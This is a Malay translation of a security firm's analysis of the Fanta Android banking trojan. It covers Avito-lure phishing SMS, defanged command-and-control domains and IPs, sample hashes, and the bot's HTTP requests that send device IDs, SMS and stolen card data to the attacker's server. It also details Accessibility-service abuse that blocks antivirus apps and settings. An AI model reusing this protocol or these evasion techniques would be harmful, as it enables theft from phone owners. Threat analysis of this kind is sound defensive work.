Leisya, Fanta: taktik baharu Trojan Android lama

Leisya, Fanta: taktik baharu Trojan Android lama

Suatu hari anda ingin menjual sesuatu di Avito dan, setelah menyiarkan penerangan terperinci produk anda (contohnya, modul RAM), anda akan menerima mesej ini:

Leisya, Fanta: taktik baharu Trojan Android lamaSebaik sahaja anda membuka pautan, anda akan melihat halaman yang kelihatan tidak berbahaya yang memberitahu anda, penjual yang gembira dan berjaya, bahawa pembelian telah dibuat:

Leisya, Fanta: taktik baharu Trojan Android lama
Sebaik sahaja anda mengklik butang "Teruskan", fail APK dengan ikon dan nama yang boleh dipercayai akan dimuat turun ke peranti Android anda. Anda memasang aplikasi yang atas sebab tertentu meminta hak AccessibilityService, kemudian beberapa tetingkap muncul dan cepat hilang dan... Itu sahaja.

Anda pergi untuk menyemak baki anda, tetapi atas sebab tertentu apl perbankan anda meminta butiran kad anda sekali lagi. Selepas memasukkan data, sesuatu yang mengerikan berlaku: atas sebab tertentu masih tidak jelas kepada anda, wang mula hilang dari akaun anda. Anda cuba menyelesaikan masalah itu, tetapi telefon anda menentang: ia menekan kekunci "Kembali" dan "Rumah", tidak dimatikan dan tidak membenarkan anda mengaktifkan sebarang langkah keselamatan. Akibatnya, anda ditinggalkan tanpa wang, barangan anda belum dibeli, anda keliru dan tertanya-tanya: apa yang berlaku?

Jawapannya mudah: anda telah menjadi mangsa Android Trojan Fanta, ahli keluarga Flexnet. Bagaimana ini berlaku? Mari kita jelaskan sekarang.

Pengarang: Andrey Polovinkin, pakar junior dalam analisis perisian hasad, Ivan Pisarev, pakar dalam analisis perisian hasad.

Beberapa statistik

Keluarga Flexnet Android Trojans mula dikenali pada tahun 2015. Dalam tempoh aktiviti yang agak panjang, keluarga itu berkembang kepada beberapa subspesies: Fanta, Limebot, Lipton, dll. Trojan, serta infrastruktur yang berkaitan dengannya, tidak berdiam diri: skim pengedaran berkesan baharu sedang dibangunkan - dalam kes kami, halaman pancingan data berkualiti tinggi yang ditujukan kepada penjual pengguna tertentu, dan pembangun Trojan mengikuti trend bergaya dalam penulisan virus - menambah fungsi baharu yang memungkinkan untuk mencuri wang dengan lebih cekap daripada peranti yang dijangkiti dan mekanisme perlindungan pintasan.

Kempen yang diterangkan dalam artikel ini ditujukan kepada pengguna dari Rusia sebilangan kecil peranti yang dijangkiti telah direkodkan di Ukraine, malah lebih sedikit di Kazakhstan dan Belarus.

Walaupun Flexnet telah berada dalam arena Android Trojan selama lebih 4 tahun sekarang dan telah dikaji secara terperinci oleh ramai penyelidik, ia masih dalam keadaan baik. Bermula dari Januari 2019, jumlah potensi kerosakan adalah lebih daripada 35 juta rubel - dan ini hanya untuk kempen di Rusia. Pada tahun 2015, pelbagai versi Trojan Android ini dijual di forum bawah tanah, di mana kod sumber Trojan dengan penerangan terperinci juga boleh ditemui. Ini bermakna bahawa statistik kerosakan di dunia adalah lebih mengagumkan. Bukan penunjuk yang buruk untuk lelaki tua seperti itu, bukan?

Leisya, Fanta: taktik baharu Trojan Android lama

Dari penjualan kepada penipuan

Seperti yang dapat dilihat dari tangkapan skrin yang dibentangkan sebelum ini bagi halaman pancingan data untuk perkhidmatan Internet untuk menyiarkan iklan Avito, ia telah disediakan untuk mangsa tertentu. Nampaknya, penyerang menggunakan salah satu penghurai Avito, yang mengekstrak nombor telefon dan nama penjual, serta penerangan produk. Selepas mengembangkan halaman dan menyediakan fail APK, mangsa dihantar SMS dengan namanya dan pautan ke halaman pancingan data yang mengandungi perihalan produknya dan jumlah yang diterima daripada "penjualan" produk. Dengan mengklik pada butang, pengguna menerima fail APK berniat jahat - Fanta.

Kajian domain shcet491[.]ru menunjukkan bahawa ia diwakilkan kepada pelayan DNS Hostinger:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

Fail zon domain mengandungi entri yang menunjuk ke alamat IP 31.220.23[.]236, 31.220.23[.]243 dan 31.220.23[.]235. Walau bagaimanapun, rekod sumber utama domain (Rekod A) menghala ke pelayan dengan alamat IP 178.132.1[.]240.

Alamat IP 178.132.1[.]240 terletak di Belanda dan kepunyaan hoster Aliran Dunia. Alamat IP 31.220.23[.]235, 31.220.23[.]236 dan 31.220.23[.]243 terletak di UK dan tergolong dalam pelayan pengehosan kongsi HOSTINGER. Digunakan sebagai perakam openprov-ru. Domain berikut juga diselesaikan ke alamat IP 178.132.1[.]240:

  • sdelka-ru[.]ru
  • tovar-av[.]ru
  • av-tovar[.]ru
  • ru-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

Perlu diingat bahawa pautan dalam format berikut tersedia dari hampir semua domain:

http://(www.){0,1}<%domain%>/[0-9]{7}

Templat ini juga termasuk pautan daripada mesej SMS. Berdasarkan data sejarah, didapati bahawa satu domain sepadan dengan beberapa pautan dalam corak yang diterangkan di atas, yang menunjukkan bahawa satu domain digunakan untuk mengedarkan Trojan kepada beberapa mangsa.

Mari kita maju sedikit: Trojan yang dimuat turun melalui pautan daripada SMS menggunakan alamat sebagai pelayan kawalan onusedseddohap[.]kelab. Domain ini telah didaftarkan pada 2019-03-12 dan mulai 2019-04-29, aplikasi APK berinteraksi dengan domain ini. Berdasarkan data yang diperoleh daripada VirusTotal, sebanyak 109 aplikasi berinteraksi dengan pelayan ini. Domain itu sendiri diselesaikan ke alamat IP 217.23.14[.]27, terletak di Belanda dan dimiliki oleh hoster Aliran Dunia. Digunakan sebagai perakam namecheap. Domain juga diselesaikan ke alamat IP ini bad-racoon[.]club (bermula dari 2018-09-25) dan bad-racoon[.]live (bermula dari 2018-10-25). Dengan domain bad-racoon[.]club lebih daripada 80 fail APK berinteraksi dengannya bad-racoon[.]live - lebih daripada 100.

Secara umum, serangan berlangsung seperti berikut:

Leisya, Fanta: taktik baharu Trojan Android lama

Apa yang ada di bawah tudung Fanta?

Seperti kebanyakan Trojan Android yang lain, Fanta mampu membaca dan menghantar mesej SMS, membuat permintaan USSD dan memaparkan tetingkapnya sendiri di atas aplikasi (termasuk yang perbankan). Walau bagaimanapun, senjata kefungsian keluarga ini telah tiba: Fanta mula digunakan Perkhidmatan Kebolehcapaian untuk pelbagai tujuan: membaca kandungan pemberitahuan daripada aplikasi lain, menghalang pengesanan dan menghentikan pelaksanaan Trojan pada peranti yang dijangkiti, dsb. Fanta berfungsi pada semua versi Android tidak lebih muda daripada 4.4. Dalam artikel ini kita akan melihat lebih dekat pada sampel Fanta berikut:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

Sejurus selepas pelancaran

Sejurus selepas pelancaran, Trojan menyembunyikan ikonnya. Aplikasi hanya boleh berfungsi jika nama peranti yang dijangkiti tiada dalam senarai:

  • android_x86
  • VirtualBox
  • Nexus 5X(bulhead)
  • Nexus 5(pisau cukur)

Pemeriksaan ini dijalankan dalam perkhidmatan utama Trojan - Perkhidmatan Utama. Apabila dilancarkan buat kali pertama, parameter konfigurasi aplikasi dimulakan kepada nilai lalai (format untuk menyimpan data konfigurasi dan maksudnya akan dibincangkan kemudian), dan peranti baru yang dijangkiti didaftarkan pada pelayan kawalan. Permintaan HTTP POST dengan jenis mesej akan dihantar ke pelayan register_bot dan maklumat tentang peranti yang dijangkiti (versi Android, IMEI, nombor telefon, nama operator dan kod negara di mana pengendali didaftarkan). Alamat berfungsi sebagai pelayan kawalan hXXp://onuseseddohap[.]club/controller.php. Sebagai tindak balas, pelayan menghantar mesej yang mengandungi medan bot_id, bot_pwd, server — aplikasi menyimpan nilai ini sebagai parameter pelayan CnC. Parameter server pilihan jika medan tidak diterima: Fanta menggunakan alamat pendaftaran - hXXp://onuseseddohap[.]club/controller.php. Fungsi menukar alamat CnC boleh digunakan untuk menyelesaikan dua masalah: untuk mengagihkan beban secara sama rata antara beberapa pelayan (jika terdapat sejumlah besar peranti yang dijangkiti, beban pada pelayan web yang tidak dioptimumkan boleh menjadi tinggi), dan juga untuk menggunakan pelayan alternatif sekiranya salah satu pelayan CnC gagal.

Jika ralat berlaku semasa menghantar permintaan, Trojan akan mengulangi proses pendaftaran selepas 20 saat.

Setelah peranti berjaya didaftarkan, Fanta akan memaparkan mesej berikut kepada pengguna:

Leisya, Fanta: taktik baharu Trojan Android lama
Nota penting: perkhidmatan dipanggil Keselamatan Sistem — nama perkhidmatan Trojan, dan selepas mengklik butang OK Tetingkap akan dibuka dengan tetapan Kebolehcapaian peranti yang dijangkiti, di mana pengguna mesti memberikan hak Kebolehcapaian untuk perkhidmatan berniat jahat:

Leisya, Fanta: taktik baharu Trojan Android lama
Sebaik sahaja pengguna menghidupkan Perkhidmatan Kebolehcapaian, Fanta mendapat akses kepada kandungan tetingkap aplikasi dan tindakan yang dilakukan di dalamnya:

Leisya, Fanta: taktik baharu Trojan Android lama
Sejurus selepas menerima hak Kebolehcapaian, Trojan meminta hak pentadbir dan hak untuk membaca pemberitahuan:

Leisya, Fanta: taktik baharu Trojan Android lama
Menggunakan AccessibilityService, aplikasi mensimulasikan ketukan kekunci, dengan itu memberikan dirinya semua hak yang diperlukan.

Fanta mencipta berbilang contoh pangkalan data (yang akan diterangkan kemudian) yang diperlukan untuk menyimpan data konfigurasi, serta maklumat yang dikumpul dalam proses tentang peranti yang dijangkiti. Untuk menghantar maklumat yang dikumpul, Trojan mencipta tugas berulang yang direka untuk memuat turun medan daripada pangkalan data dan menerima arahan daripada pelayan kawalan. Selang untuk mengakses CnC ditetapkan bergantung pada versi Android: dalam kes 5.1, selang akan menjadi 10 saat, jika tidak 60 saat.

Untuk menerima arahan, Fanta membuat permintaan GetTask kepada pelayan pengurusan. Sebagai tindak balas, CnC boleh menghantar salah satu daripada arahan berikut:

Pasukan Описание
0 Hantar mesej SMS
1 Buat panggilan telefon atau arahan USSD
2 Mengemas kini parameter selang
3 Mengemas kini parameter memintas
6 Mengemas kini parameter smsManager
9 Mula mengumpul mesej SMS
11 Tetapkan semula telefon anda kepada tetapan kilang
12 Dayakan/Lumpuhkan pengelogan penciptaan kotak dialog

Fanta juga mengumpul pemberitahuan daripada 70 aplikasi perbankan, sistem pembayaran pantas dan e-dompet serta menyimpannya dalam pangkalan data.

Menyimpan parameter konfigurasi

Untuk menyimpan parameter konfigurasi, Fanta menggunakan pendekatan standard untuk platform Android - keutamaan-fail. Tetapan akan disimpan ke fail bernama tetapan. Penerangan tentang parameter yang disimpan adalah dalam jadual di bawah.

nama Nilai asal Nilai yang mungkin Описание
id 0 Integer ID Bot
server hXXp://onuseseddohap[.]club/ URL Kawal alamat pelayan
jentera - Rentetan Kata laluan pelayan
selang 20 Integer Selang masa. Menunjukkan berapa lama tugas berikut harus ditangguhkan:

  • Apabila menghantar permintaan tentang status mesej SMS yang dihantar
  • Menerima arahan baharu daripada pelayan pengurusan

memintas semua semua/telNumber Jika medan itu sama dengan rentetan semua atau telNombor, maka mesej SMS yang diterima akan dipintas oleh aplikasi dan tidak ditunjukkan kepada pengguna
smsManager 0 0/1 Dayakan/lumpuhkan aplikasi sebagai penerima SMS lalai
bacaDialog palsu Betul salah Dayakan/Lumpuhkan pengelogan acara KebolehcapaianAcara

Fanta juga menggunakan fail tersebut smsManager:

nama Nilai asal Nilai yang mungkin Описание
pckg - Rentetan Nama pengurus mesej SMS yang digunakan

Interaksi dengan pangkalan data

Semasa operasinya, Trojan menggunakan dua pangkalan data. Pangkalan data bernama a digunakan untuk menyimpan pelbagai maklumat yang dikumpul daripada telefon. Pangkalan data kedua dinamakan fanta.db dan digunakan untuk menyimpan tetapan yang bertanggungjawab untuk mencipta tetingkap pancingan data yang direka untuk mengumpul maklumat tentang kad bank.

Trojan menggunakan pangkalan data а untuk menyimpan maklumat yang dikumpul dan log tindakan anda. Data disimpan dalam jadual balak. Untuk membuat jadual, gunakan pertanyaan SQL berikut:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

Pangkalan data mengandungi maklumat berikut:

1. Log permulaan peranti yang dijangkiti dengan mesej Telefon dihidupkan!

2. Pemberitahuan daripada permohonan. Mesej dijana mengikut templat berikut:

(<%App Name%>)<%Title%>: <%Notification text%>

3. Data kad bank daripada borang pancingan data yang dicipta oleh Trojan. Parameter VIEW_NAME mungkin salah satu daripada yang berikut:

  • AliExpress
  • Avito
  • Google Play
  • Pelbagai <%Nama Apl%>

Mesej dilog dalam format:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. Mesej SMS masuk/keluar dalam format:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. Maklumat tentang pakej yang mencipta kotak dialog dalam format:

(<%Package name%>)<%Package information%>

Jadual contoh balak:

Leisya, Fanta: taktik baharu Trojan Android lama
Salah satu fungsi Fanta ialah pengumpulan maklumat tentang kad bank. Pengumpulan data berlaku melalui penciptaan tingkap pancingan data semasa membuka aplikasi perbankan. Trojan mencipta tetingkap pancingan data sekali sahaja. Maklumat bahawa tetingkap telah ditunjukkan kepada pengguna disimpan dalam jadual tetapan dalam pangkalan data fanta.db. Untuk mencipta pangkalan data, gunakan pertanyaan SQL berikut:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Semua medan jadual tetapan secara lalai dimulakan kepada 1 (buat tetingkap pancingan data). Selepas pengguna memasukkan data mereka, nilai akan ditetapkan kepada 0. Contoh medan jadual tetapan:

  • boleh_log masuk — medan bertanggungjawab untuk memaparkan borang semasa membuka permohonan perbankan
  • bank_pertama - tidak digunakan
  • can_avito — medan bertanggungjawab untuk memaparkan borang semasa membuka aplikasi Avito
  • boleh_ali — medan bertanggungjawab untuk memaparkan borang semasa membuka aplikasi Aliexpress
  • boleh_lain — medan bertanggungjawab untuk memaparkan borang semasa membuka mana-mana permohonan daripada senarai: Yula, Pandao, Drom Auto, Dompet. Kad diskaun dan bonus, Aviasales, Tempahan, Trivago
  • can_card — medan bertanggungjawab untuk memaparkan borang semasa dibuka Google Play

Interaksi dengan pelayan pengurusan

Interaksi rangkaian dengan pelayan pengurusan berlaku melalui protokol HTTP. Untuk bekerja dengan rangkaian, Fanta menggunakan perpustakaan Retrofit yang popular. Permintaan dihantar kepada: hXXp://onuseseddohap[.]club/controller.php. Alamat pelayan boleh ditukar apabila mendaftar pada pelayan. Kuki boleh dihantar sebagai balasan daripada pelayan. Fanta membuat permintaan berikut kepada pelayan:

  • Pendaftaran bot pada pelayan kawalan berlaku sekali, pada pelancaran pertama. Data berikut tentang peranti yang dijangkiti dihantar ke pelayan:
    · Cookie — kuki yang diterima daripada pelayan (nilai lalai ialah rentetan kosong)
    · mod - pemalar rentetan register_bot
    · awalan - pemalar integer 2
    · version_sdk — dibentuk mengikut templat berikut: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
    · IMEI — IMEI peranti yang dijangkiti
    · negara — kod negara tempat pengendali didaftarkan, dalam format ISO
    · nombor - nombor telefon
    · operator — nama operator

    Contoh permintaan yang dihantar ke pelayan:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    Sebagai tindak balas kepada permintaan, pelayan mesti mengembalikan objek JSON yang mengandungi parameter berikut:
    · bot_id — ID peranti yang dijangkiti. Jika bot_id bersamaan dengan 0, Fanta akan melaksanakan semula permintaan tersebut.
    bot_pwd — kata laluan untuk pelayan.
    pelayan — mengawal alamat pelayan. Parameter pilihan. Jika parameter tidak dinyatakan, alamat yang disimpan dalam aplikasi akan digunakan.

    Contoh objek JSON:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • Minta untuk menerima arahan daripada pelayan. Data berikut dihantar ke pelayan:
    · Cookie — kuki yang diterima daripada pelayan
    · tawaran — id peranti yang dijangkiti yang diterima semasa menghantar permintaan register_bot
    · jentera —kata laluan untuk pelayan
    · divice_admin — medan menentukan sama ada hak pentadbir telah diperolehi. Jika hak pentadbir telah diperoleh, medan adalah sama dengan 1, sebaliknya 0
    · Capaian — Status operasi Perkhidmatan Kebolehcapaian. Jika perkhidmatan dimulakan, nilainya adalah 1, sebaliknya 0
    · SMSManager — menunjukkan sama ada Trojan didayakan sebagai aplikasi lalai untuk menerima SMS
    · skrin — memaparkan keadaan skrin berada. Nilai akan ditetapkan 1, jika skrin dihidupkan, sebaliknya 0;

    Contoh permintaan yang dihantar ke pelayan:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    Bergantung pada arahan, pelayan boleh mengembalikan objek JSON dengan parameter yang berbeza:

    · Pasukan Hantar mesej SMS: Parameter mengandungi nombor telefon, teks mesej SMS dan ID mesej yang dihantar. Pengecam digunakan apabila menghantar mesej ke pelayan dengan jenis setSmsStatus.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · Pasukan Buat panggilan telefon atau arahan USSD: Nombor telefon atau arahan terdapat dalam badan respons.

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · Pasukan Tukar parameter selang.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": <%SECONDS%>
       	 }
        ],
        "status":"ok"
    }

    · Pasukan Tukar parameter pintasan.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
       	 }
        ],
        "status":"ok"
    }

    · Pasukan Tukar medan SmsManager.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · Pasukan Kumpulkan mesej SMS daripada peranti yang dijangkiti.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · Pasukan Tetapkan semula telefon anda kepada tetapan kilang:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · Pasukan Tukar parameter ReadDialog.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • Menghantar mesej dengan jenis setSmsStatus. Permintaan ini dibuat selepas arahan dilaksanakan Hantar mesej SMS. Permintaan kelihatan seperti ini:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • Memuat naik kandungan pangkalan data. Satu baris dihantar setiap permintaan. Data berikut dihantar ke pelayan:
    · Cookie — kuki yang diterima daripada pelayan
    · mod - pemalar rentetan setSaveInboxSms
    · tawaran — id peranti yang dijangkiti yang diterima semasa menghantar permintaan register_bot
    · teks — teks dalam rekod pangkalan data semasa (medan d daripada meja balak dalam pangkalan data а)
    · nombor — nama rekod pangkalan data semasa (medan p daripada meja balak dalam pangkalan data а)
    · sms_mode — nilai integer (medan m daripada meja balak dalam pangkalan data а)

    Permintaan kelihatan seperti ini:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    Jika berjaya dihantar ke pelayan, baris akan dipadamkan daripada jadual. Contoh objek JSON yang dikembalikan oleh pelayan:

    {
        "response":[],
        "status":"ok"
    }

Berinteraksi dengan AccessibilityService

AccessibilityService telah dilaksanakan untuk menjadikan peranti Android lebih mudah digunakan untuk orang kurang upaya. Dalam kebanyakan kes, interaksi fizikal diperlukan untuk berinteraksi dengan aplikasi. AccessibilityService membolehkan anda melakukannya secara pengaturcaraan. Fanta menggunakan perkhidmatan itu untuk mencipta tingkap palsu dalam aplikasi perbankan dan menghalang pengguna daripada membuka tetapan sistem dan beberapa aplikasi.

Menggunakan fungsi AccessibilityService, Trojan memantau perubahan kepada elemen pada skrin peranti yang dijangkiti. Seperti yang diterangkan sebelum ini, tetapan Fanta mengandungi parameter yang bertanggungjawab untuk operasi log dengan kotak dialog - bacaDialog. Jika parameter ini ditetapkan, maklumat tentang nama dan perihalan pakej yang mencetuskan acara akan ditambahkan pada pangkalan data. Trojan melakukan tindakan berikut apabila peristiwa dicetuskan:

  • Mensimulasikan menekan kekunci belakang dan rumah dalam kes berikut:
    · jika pengguna ingin but semula perantinya
    · jika pengguna ingin memadamkan aplikasi "Avito" atau menukar hak akses
    · jika terdapat sebutan mengenai aplikasi "Avito" pada halaman
    · apabila membuka aplikasi Google Play Protect
    · apabila membuka halaman dengan tetapan AccessibilityService
    · apabila kotak dialog Keselamatan Sistem muncul
    · apabila membuka halaman dengan tetapan "Draw over other app".
    · apabila membuka halaman "Aplikasi", "Pemulihan dan tetapan semula", "Tetapkan semula data", "Tetapkan semula tetapan", "Panel pembangun", "Khas. peluang", "Peluang istimewa", "Hak istimewa"
    · jika acara itu dijana oleh aplikasi tertentu.

    Senarai permohonan

    • android
    • Master Lite
    • Tuan yang bersih
    • Master Bersih untuk CPU x86
    • Pengurusan Kebenaran Permohonan Meizu
    • Keselamatan MIUI
    • Master Bersih - Antivirus & Cache dan Pembersih Sampah
    • Kawalan ibu bapa dan GPS: Kaspersky SafeKids
    • Kaspersky Antivirus AppLock & Web Security Beta
    • Pembersih Virus, Antivirus, Pembersih (Keselamatan MAX)
    • Mobile AntiVirus Security PRO
    • Antivirus Avast & perlindungan percuma 2019
    • MegaFon Keselamatan Mudah Alih
    • Perlindungan AVG untuk Xperia
    • Keselamatan Mudah Alih
    • Antivirus & Perlindungan Malwarebytes
    • Antivirus untuk Android 2019
    • Master Keselamatan - Antivirus, VPN, AppLock, Booster
    • Antivirus AVG untuk Pengurus Sistem tablet Huawei
    • Kebolehcapaian Samsung
    • Pengurus Pintar Samsung
    • Master Keselamatan
    • Booster Speed
    • dr.web
    • Ruang Keselamatan Dr.Web
    • Pusat Kawalan Mudah Alih Dr.Web
    • Kehidupan Ruang Keselamatan Dr.Web
    • Pusat Kawalan Mudah Alih Dr.Web
    • Antivirus & Keselamatan Mudah Alih
    • Kaspersky Internet Security: Antivirus dan Perlindungan
    • Hayat Bateri Kaspersky: Penjimat & Penggalak
    • Kaspersky Endpoint Security - perlindungan dan pengurusan
    • AVG Antivirus percuma 2019 – Perlindungan untuk Android
    • antivirus Android
    • Keselamatan Mudah Alih Norton dan Antivirus
    • Antivirus, firewall, VPN, keselamatan mudah alih
    • Keselamatan Mudah Alih: antivirus, VPN, perlindungan kecurian
    • Antivirus untuk Android

  • Jika kebenaran diminta semasa menghantar mesej SMS ke nombor pendek, Fanta mensimulasikan klik pada kotak pilihan Ingat pilihan dan butang untuk menghantar.
  • Apabila anda cuba mengambil hak pentadbir daripada Trojan, ia mengunci skrin telefon.
  • Menghalang penambahan pentadbir baharu.
  • Jika aplikasi antivirus dr.web mengesan ancaman, Fanta meniru menekan butang abai.
  • Trojan mensimulasikan menekan butang belakang dan rumah jika acara dijana oleh aplikasi Penjagaan Peranti Samsung.
  • Fanta mencipta tetingkap pancingan data dengan borang untuk memasukkan maklumat tentang kad bank jika aplikasi daripada senarai yang merangkumi kira-kira 30 perkhidmatan Internet berbeza dilancarkan. Antaranya: AliExpress, Tempahan, Avito, Komponen Pasaran Google Play, Pandao, Drom Auto, dsb.

    Borang Pancingan data

    Fanta menganalisis aplikasi yang dijalankan pada peranti yang dijangkiti. Jika permohonan minat dibuka, Trojan memaparkan tetingkap pancingan data di atas semua yang lain, yang merupakan borang untuk memasukkan maklumat kad bank. Pengguna mesti memasukkan data berikut:

    • Nombor kad
    • Tarikh luput kad
    • CVV
    • Nama pemegang kad (bukan untuk semua bank)

    Bergantung pada aplikasi yang sedang berjalan, tetingkap pancingan data yang berbeza akan ditunjukkan. Di bawah adalah contoh beberapa daripadanya:

    AliExpress:

    Leisya, Fanta: taktik baharu Trojan Android lama
    Avito:

    Leisya, Fanta: taktik baharu Trojan Android lama
    Untuk beberapa aplikasi lain, cth. Pasaran Google Play, Aviasales, Pandao, Tempahan, Trivago:
    Leisya, Fanta: taktik baharu Trojan Android lama

    Bagaimana ia sebenarnya

    Nasib baik, orang yang menerima mesej SMS yang diterangkan pada awal artikel itu ternyata seorang pakar keselamatan siber. Oleh itu, versi sebenar bukan pengarah berbeza daripada yang diberitahu sebelum ini: seseorang menerima SMS yang menarik, selepas itu dia memberikannya kepada pasukan Perisikan Memburu Ancaman Kumpulan-IB. Hasil serangan adalah artikel ini. Happy ending kan? Walau bagaimanapun, tidak semua cerita berakhir dengan jayanya, dan supaya cerita anda tidak kelihatan seperti potongan pengarah dengan kerugian wang, dalam kebanyakan kes adalah cukup untuk mematuhi peraturan yang telah lama diterangkan berikut:

    • jangan pasang aplikasi untuk peranti mudah alih dengan OS Android daripada mana-mana sumber selain Google Play
    • Apabila memasang aplikasi, beri perhatian khusus kepada hak yang diminta oleh aplikasi
    • beri perhatian kepada sambungan fail yang dimuat turun
    • pasang kemas kini OS Android dengan kerap
    • jangan lawati sumber yang mencurigakan dan jangan muat turun fail dari sana
    • Jangan klik pada pautan yang diterima dalam mesej SMS.

Sumber: www.habr.com

Tambah komen